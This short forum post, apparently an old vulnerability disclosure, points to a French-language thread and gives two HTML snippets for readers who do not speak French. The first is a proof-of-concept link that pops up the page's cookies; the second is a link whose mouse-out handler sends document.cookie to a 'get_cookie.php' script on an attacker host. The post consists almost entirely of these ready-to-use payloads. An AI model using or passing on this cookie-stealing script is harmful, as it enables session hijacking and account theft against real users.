More information about it on :
http://www.newffr.com/viewtopic.php?...26&topic=11683
(in french)

If you don't speak french :
create a web page and write into :
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<html><body><a href="javascript: alert('Cookie:\n'+document.cookie+'\nHave Fun !')">Click here</a></body></html>
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Or :

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<a href="#" onmouseout="javascript: document.location='http://www.hacker.com/get_cookie.php?'+document.cookie">Link</a>
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